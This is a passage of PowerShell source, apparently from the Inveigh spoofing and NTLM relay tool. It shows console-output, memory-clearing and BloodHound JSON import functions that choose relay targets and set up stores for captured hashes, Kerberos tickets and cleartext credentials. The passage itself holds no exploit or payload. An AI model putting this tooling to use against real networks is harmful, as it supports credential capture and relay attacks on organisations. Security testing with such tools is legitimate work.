-like "* Proxy*request for *" -or $_ -like "*SYN packet*"} 6755 { 6756 6757 if($ConsoleOutput -ne "Low") 6758 { 6759 Write-Output $inveigh.console_queue[0] 6760 } 6761 6762 $inveigh.console_queue.RemoveAt(0) 6763 6764 } 6765 6766 default 6767 { 6768 Write-Output $inveigh.console_queue[0] 6769 $inveigh.console_queue.RemoveAt(0) 6770 } 6771 6772 } 6773 6774 } 6775 6776 if([Console]::KeyAvailable) 6777 { 6778 $inveigh.console_output = $false 6779 BREAK console_loop 6780 } 6781 6782 Start-Sleep -m 5 6783 } 6784 6785 } 6786 else 6787 { 6788 Write-Output "[-] Inveigh isn't running" 6789 } 6790 6791 } 6792 else 6793 { 6794 Write-Output "[-] Watch-Inveigh cannot be used with current external tool selection" 6795 } 6796 6797 } 6798 6799 function Clear-Inveigh 6800 { 6801 <# 6802 .SYNOPSIS 6803 Clear-Inveigh will clear Inveigh data from memory. 6804 #> 6805 6806 if($inveigh) 6807 { 6808 6809 if(!$inveigh.running -and !$inveigh.relay_running) 6810 { 6811 Remove-Variable inveigh -scope global 6812 Write-Output "[+] Inveigh data has been cleared from memory" 6813 } 6814 else 6815 { 6816 Write-Output "[-] Run Stop-Inveigh before running Clear-Inveigh" 6817 } 6818 6819 } 6820 6821 } 6822 6823 function ConvertTo-Inveigh 6824 { 6825 <# 6826 .SYNOPSIS 6827 ConvertTo-Inveigh imports Bloodhound computers, groups and session JSON files into $inveigh.enumerate 6828 for Inveigh Relay targeting. 6829 6830 .DESCRIPTION 6831 For the fastest import, import the data before gather any enumeration data with Inveigh. 6832 6833 .PARAMETER BloodHoundComputersJSON 6834 BloodHound computers file. 6835 6836 .PARAMETER BloodHoundSessionsJSON 6837 BloodHound sessions file. 6838 6839 .PARAMETER BloodHoundGroupsJSON 6840 BloodHound groups file. 6841 6842 .PARAMTER DNS 6843 Enable DNS lookups 6844 #> 6845 6846 [CmdletBinding()] 6847 param 6848 ( 6849 [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$Computers, 6850 [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$Sessions, 6851 [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$Groups, 6852 [parameter(Mandatory=$false)][Switch]$DNS, 6853 [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter 6854 ) 6855 6856 if(!$Computers -and !$Sessions -and !$Groups) 6857 { 6858 Write-Output "Specifiy a BloodHound computers, groups, or sessions JSON file" 6859 throw 6860 } 6861 6862 if($inveigh.running -or $inveigh.relay_running) 6863 { 6864 Write-Output "Run Stop-Inveigh before importing data with ConvertTo-Inveigh" 6865 throw 6866 } 6867 6868 if(!$inveigh) 6869 { 6870 $global:inveigh = [HashTable]::Synchronized(@{}) 6871 $inveigh.cleartext_list = New-Object System.Collections.ArrayList 6872 $inveigh.enumerate = New-Object System.Collections.ArrayList 6873 $inveigh.IP_capture_list = New-Object System.Collections.ArrayList 6874 $inveigh.log = New-Object System.Collections.ArrayList 6875 $inveigh.kerberos_TGT_list = New-Object System.Collections.ArrayList 6876 $inveigh.kerberos_TGT_username_list = New-Object System.Collections.ArrayList 6877 $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList 6878 $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList 6879 $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList 6880 $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList 6881 $inveigh.POST_request_list = New-Object System.Collections.ArrayList 6882 $inveigh.valid_host_list = New-Object System.Collections.ArrayList 6883 $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{}) 6884 $inveigh.relay_privilege_table = [HashTable]::Synchronized(@{}) 6885 $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{}) 6886 $inveigh.relay_history_table = [HashTable]::Synchronized(@{}) 6887 $inveigh.request_table = [HashTable]::Synchronized(@{}) 6888 $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) 6889 $inveigh.session_table = [HashTable]::Synchronized(@{}) 6890 $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{}) 6891 $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) 6892 $inveigh.SMB_session_table = [HashTable]::Synchronized(@{}) 6893 $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{}) 6894 $inveigh.group_table = [HashTable]::Synchronized(@{}) 6895 $inveigh.session_count = 0 6896 $inveigh.session = @() 6897 } 6898 6899 function New-RelayEnumObject 6900 { 6901 param ($IP,$Hostname,$DNSDomain,$netBIOSDomain,$Sessions,$AdministratorUsers,$AdministratorGroups, 6902 $Privileged,$Shares,$NetSessions,$NetSessionsMapped,$LocalUsers,$SMB2,$Signing,$SMBServer,$DNSRecord, 6903 $IPv6Only,$Targeted,$Enumerate,$Execute) 6904 6905 if($Sessions -and $Sessions -isnot [Array]){$Sessions = @($Sessions)} 6906 if($AdministratorUsers -and $AdministratorUsers -isnot [Array]){$AdministratorUsers = @($AdministratorUsers)} 6907 if($AdministratorGroups -and $AdministratorGroups -isnot [Array]){$AdministratorGroups = @($AdministratorGroups)} 6908 if($Privileged -and $Privileged -isnot [Array]){$Privileged = @($Privileged)} 6909 if($Shares -and $Shares -isnot [Array]){$Shares = @($Shares)} 6910 if($NetSessions -and $NetSessions -isnot [Array]){$NetSessions = @($NetSessions)} 6911 if($NetSessionsMapped -and $NetSessionsMapped -isnot [Array]){$NetSessionsMapped = @($NetSessionsMapped)} 6912 if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)} 6913 6914 $relay_object = New-Object PSObject 6915 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerate.Count 6916 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP 6917 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname 6918 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "DNS Domain" $DNSDomain 6919 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "netBIOS Domain" $netBIOSDomain 6920 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions 6921 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Users" $AdministratorUsers 6922 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Groups" $AdministratorGroups 6923 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Privileged" $Privileged 6924 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Shares" $Shares 6925 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions" $NetSessions 6926 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions Mapped" $NetSessionsMapped 6927 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Local Users" $LocalUsers 6928 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB2.1" $SMB2 6929 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Signing" $Signing 6930 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB Server" $SMBServer 6931 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "DNS Record" $DNSRecord 6932 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IPv6 Only" $IPv6Only 6933 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted 6934 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumerate 6935 Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execute 6936 6937 return $relay_object 6938 } 6939 6940 function Get-DNSEntry([String]$hostname) 6941 { 6942 6943 try 6944 { 6945 $IP_list = [System.Net.Dns]::GetHostEntry($hostname) 6946 6947 foreach($entry in $IP_list.AddressList) 6948 { 6949 6950 if(!$entry.IsIPv6LinkLocal) 6951 { 6952 $IP = $entry.IPAddressToString 6953 } 6954 6955 } 6956 6957 } 6958 catch 6959 { 6960 $IP = $null 6961 } 6962 6963 return $IP 6964 } 6965 6966 # JSON parsing from http://wahlnetwork.com/2016/03/15/deserializing-large-json-payloads-powershell-objects/ 6967 function Invoke-ParseItem($JSONItem) 6968 { 6969 6970 if($JSONItem.PSObject.TypeNames -match 'Array') 6971 { 6972 return Invoke-ParseJsonArray($JSONItem) 6973 } 6974 elseif($JSONItem.PSObject.TypeNames -match 'Dictionary') 6975 { 6976 return Invoke-ParseJsonObject([HashTable]$JSONItem) 6977 } 6978 else 6979 { 6980 return $JSONItem 6981 } 6982 6983 } 6984 6985 function Invoke-ParseJsonObject($JSONObject) 6986 { 6987 $result = New-Object -TypeName PSCustomObject 6988 6989 foreach($key in $JSONObject.Keys) 6990 { 6991 $item = $JSONObject[$key] 6992 6993 if ($item) 6994 { 6995 $parsed_item = Invoke-ParseItem $item 6996 } 6997 else 6998 { 6999 $parsed_item = $null 7000 } 7001 7002 $result | Add-Member -MemberType NoteProperty -Name $key -Value $parsed_item 7003 } 7004 7005 return $result 7006 } 7007 7008 function Invoke-ParseJSONArray($JSONArray) 7009 { 7010 $result = @() 7011 $stopwatch_progress = [System.Diagnostics.Stopwatch]::StartNew() 7012 $i = 0 7013 7014 $JSONArray | ForEach-Object -Process { 7015 7016 if($stopwatch_progress.Elapsed.TotalMilliseconds -ge 500) 7017 { 7018 $percent_complete_calculation = [Math]::Truncate($i / $JSONArray.count * 100) 7019 7020 if($percent_complete_calculation -le 100) 7021 { 7022 Write-Progress -Activity "Parsing JSON" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue 7023 } 7024 7025 $stopwatch_progress.Reset() 7026 $stopwatch_progress.Start() 7027 } 7028 7029 $i++ 7030 $result += , (Invoke-ParseItem $_)} 7031 7032 return $result 7033 } 7034 7035 function Invoke-ParseJSONString($json) 7036 { 7037 $config = $javaScriptSerializer.DeserializeObject($json) 7038 7039 return Invoke-ParseJsonObject $config 7040 } 7041 7042 [void][System.Reflection.Assembly]::LoadWithPartialName("System.Web.Extensions") 7043 7044 if($inveigh.enumerate.Count -eq 0) 7045 { 7046 $enumerate_empty = $true 7047 } 7048 7049 if($Computers) 7050 { 7051 $Computers = (Resolve-Path $Computers).Path 7052 $computers_serializer = New-Object -TypeName System.Web.Script.Serialization.JavaScriptSerializer 7053 $computers_serializer.MaxJsonLength = 104857600 7054 $bloodhound_computers = [System.IO.File]::ReadAllText($Computers) 7055 $bloodhound_computers = $computers_serializer.DeserializeObject($bloodhound_computers) 7056 Write-Output "[*] Parsing BloodHound Computers JSON" 7057 $stopwatch_parse = [System.Diagnostics.Stopwatch]::StartNew() 7058 $bloodhound_computers = Invoke-ParseItem $bloodhound_computers 7059 Write-Output "[+] Parsing completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" 7060 $stopwatch_parse.Reset() 7061 $stopwatch_parse.Start() 7062 Write-Output "[*] Importing computers to Inveigh" 7063 $stopwatch_progress = [System.Diagnostics.Stopwatch]::StartNew() 7064 $i = 0 7065 7066 if(!$bloodhound_computers.Computers) 7067 { 7068 Write-Output "[!] JSON computers parse failed" 7069 throw 7070 } 7071 7072 $bloodhound_computers.Computers | ForEach-Object { 7073 7074 if($stopwatch_progress.Elapsed.TotalMilliseconds -ge 500) 7075 { 7076 $percent_complete_calculation = [Math]::Truncate($i / $bloodhound_computers.Computers.Count * 100) 7077 7078 if($percent_complete_calculation -le 100) 7079 { 7080 Write-Progress -Activity "[*] Importing computers" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue 7081 } 7082 7083 $stopwatch_progress.Reset() 7084 $stopwatch_progress.Start() 7085 } 7086 7087 $hostname = $_.Name 7088 [Array]$local_admin_users = $_.LocalAdmins | Where-Object {$_.Type -eq 'User'} | Select-Object -expand Name 7089 [Array]$local_admin_groups = $_.LocalAdmins | Where-Object {$_.Type -eq 'Group'} | Select-Object -expand Name 7090 7091 if($DNS) 7092 { 7093 $IP = Get-DNSEntry $hostname 7094 7095 if(!$IP) 7096 { 7097 Write-Output "[-] DNS lookup for $Hostname failed" 7098 } 7099 7100 } 7101 7102 if(!$enumerate_empty) 7103 { 7104 7105 for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) 7106 { 7107 7108 if(($hostname -and $inveigh.enumerate[$i].Hostname -eq $hostname) -or ($IP -and $inveigh.enumerate[$i].IP -eq $IP)) 7109 { 7110 7111 if($inveigh.enumerate[$i].Hostname -ne $hostname -and $inveigh.enumerate[$i].IP -eq $IP) 7112 { 7113 7114 for($j = 0;$j -lt $inveigh.enumerate.Count;$j++) 7115 { 7116 7117 if($inveigh.enumerate[$j].IP -eq $target) 7118 { 7119 $target_index = $j 7120 break 7121 } 7122 7123 } 7124 7125 $inveigh.enumerate[$target_index].Hostname = $hostname 7126 } 7127 else 7128 { 7129 7130 for($j = 0;$j -lt $inveigh.enumerate.Count;$j++) 7131 { 7132 7133 if($inveigh.enumerate[$j].Hostname -eq $hostname) 7134 { 7135 $target_index = $j 7136 break 7137 } 7138 7139 } 7140 7141 } 7142 7143 $inveigh.enumerate[$target_index]."Administrator Users" = $local_admin_users 7144 $inveigh.enumerate[$target_index]."Administrator Groups" = $local_admin_groups 7145 } 7146 else 7147 { 7148 $inveigh.enumerate.Add((New-RelayEnumObject -Hostname $_.Name -IP $IP -AdministratorUsers $local_admin_users -AdministratorGroups $local_admin_groups)) > $null 7149 } 7150 7151 } 7152 7153 } 7154 else 7155 { 7156 $inveigh.enumerate.Add((New-RelayEnumObject -Hostname $_.Name -IP $IP -AdministratorUsers $local_admin_users -AdministratorGroups $local_admin_groups)) > $null 7157 } 7158 7159 $IP = $null 7160 $hostname = $null 7161 $local_admin_users = $null 7162 $local_admin_groups = $null 7163 $target_index = $null 7164 $i++ 7165 } 7166 7167 Write-Output "[+] Import completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" 7168 $stopwatch_parse.Reset() 7169 Remove-Variable bloodhound_computers 7170 } 7171 7172 if($Sessions) 7173 { 7174 $Sessions = (Resolve-Path $Sessions).Path 7175 $sessions_serializer = New-Object -TypeName System.Web.Script.Serialization.JavaScriptSerializer 7176 $sessions_serializer.MaxJsonLength = 104857600 7177 $bloodhound_sessions = [System.IO.File]::ReadAllText($Sessions) 7178 $bloodhound_sessions = $sessions_serializer.DeserializeObject($bloodhound_sessions) 7179 $stopwatch_parse = [System.Diagnostics.Stopwatch]::StartNew() 7180 Write-Output "[*] Parsing BloodHound Sessions JSON" 7181 $bloodhound_sessions = Invoke-ParseItem $bloodhound_sessions 7182 Write-Output "[+] Parsing completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" 7183 $stopwatch_parse.Reset() 7184 $stopwatch_parse.Start() 7185 Write-Output "[*] Importing sessions to Inveigh" 7186 $stopwatch_progress = [System.Diagnostics.Stopwatch]::StartNew() 7187 $i = 0 7188 7189 if(!$bloodhound_sessions.Sessions) 7190 { 7191 Write-Output "[!] JSON sessions parse failed" 7192 throw 7193 } 7194 7195 $bloodhound_sessions.Sessions | ForEach-Object { 7196 7197 if($stopwatch_progress.Elapsed.TotalMilliseconds -ge 500) 7198 { 7199 $percent_complete_calculation = [Math]::Truncate($i / $bloodhound_sessions.Sessions.Count * 100) 7200 7201 if($percent_complete_calculation -le 100) 7202 { 7203 Write-Progress -Activity "[*] Importing sessions" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue 7204 } 7205 7206 $stopwatch_progress.Reset() 7207 $stopwatch_progress.Start() 7208 } 7209 7210 $hostname = $_.ComputerName 7211 7212 if($hostname -as [IPAddress] -as [Bool]) 7213 { 7214 $IP = $hostname 7215 $hostname = $null 7216 7217 for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) 7218 { 7219 7220 if($inveigh.enumerate[$i].IP -eq $target) 7221 { 7222 $target_index = $i 7223 break 7224 } 7225 7226 } 7227 7228 } 7229 else 7230 { 7231 for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) 7232 { 7233 7234 if($inveigh.enumerate[$i].Hostname -eq $hostname) 7235 { 7236 $target_index = $i 7237 break 7238 } 7239 7240 } 7241 7242 if($DNS) 7243 { 7244 $IP = Get-DNSEntry $hostname 7245 7246 if(!$IP) 7247 { 7248 Write-Output "[-] DNS lookup for $Hostname failed or IPv6 address" 7249 } 7250 7251 } 7252 7253 } 7254 7255 if(!$enumerate_empty -or $target_index -ge 0) 7256 { 7257 [Array]$session_list = $inveigh.enumerate[$target_index].Sessions 7258 7259 if($session_list -notcontains $_.UserName) 7260 { 7261 $session_list += $_.UserName 7262 $inveigh.enumerate[$target_index].Sessions = $session_list 7263 } 7264 7265 } 7266 else 7267 { 7268 $inveigh.enumerate.Add($(New-RelayEnumObject -Hostname $hostname -IP $IP -Sessions $_.UserName)) > $null 7269 } 7270 7271 $hostname = $null 7272 $IP = $null 7273 $session_list = $null 7274 $target_index = $null 7275 $i++ 7276 } 7277 7278 Write-Output "[+] Import completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" 7279 $stopwatch_parse.Reset() 7280 Remove-Variable bloodhound_sessions 7281 } 7282 7283 if($Groups) 7284 { 7285 $Groups = (Resolve-Path $Groups).Path 7286 $groups_serializer = New-Object -TypeName System.Web.Script.Serialization.JavaScriptSerializer 7287 $groups_serializer.MaxJsonLength = 104857600 7288 $bloodhound_groups = [System.IO.File]::ReadAllText($Groups) 7289 $bloodhound_groups = $groups_serializer.DeserializeObject($bloodhound_groups) 7290 $stopwatch_parse = [System.Diagnostics.Stopwatch]::StartNew() 7291 Write-Output "[*] Parsing BloodHound Groups JSON" 7292 $bloodhound_groups = Invoke-ParseItem $bloodhound_groups 7293 Write-Output "[+] Parsing completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" 7294 $stopwatch_parse.Reset() 7295 $stopwatch_parse.Start() 7296 Write-Output "[*] Importing groups to Inveigh" 7297 $stopwatch_progress = [System.Diagnostics.Stopwatch]::StartNew() 7298 $i = 0 7299 7300 if(!$bloodhound_groups.Groups) 7301 { 7302 Write-Output "[!] JSON groups parse failed" 7303 throw 7304 } 7305 7306 $bloodhound_groups.Groups | ForEach-Object { 7307 7308 if($stopwatch_progress.Elapsed.TotalMilliseconds -ge 500) 7309 { 7310 $percent_complete_calculation = [Math]::Truncate($i / $bloodhound_groups.Groups.Count * 100) 7311 7312 if($percent_complete_calculation -le 100) 7313 { 7314 Write-Progress -Activity "[*] Importing groups" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue 7315 } 7316 7317 $stopwatch_progress.Reset() 7318 $stopwatch_progress.Start() 7319 } 7320 7321 [Array]$group_members = $_.Members | Select-Object -expand MemberName 7322 $inveigh.group_table.Add($_.Name,$group_members) 7323 $group_members = $null 7324 $i++ 7325 } 7326 7327 Write-Output "[+] Import completed in $([Math]::Truncate($stopwatch.Elapsed.TotalSeconds)) seconds" 7328 } 7329 7330 } 7331 7332 #endregion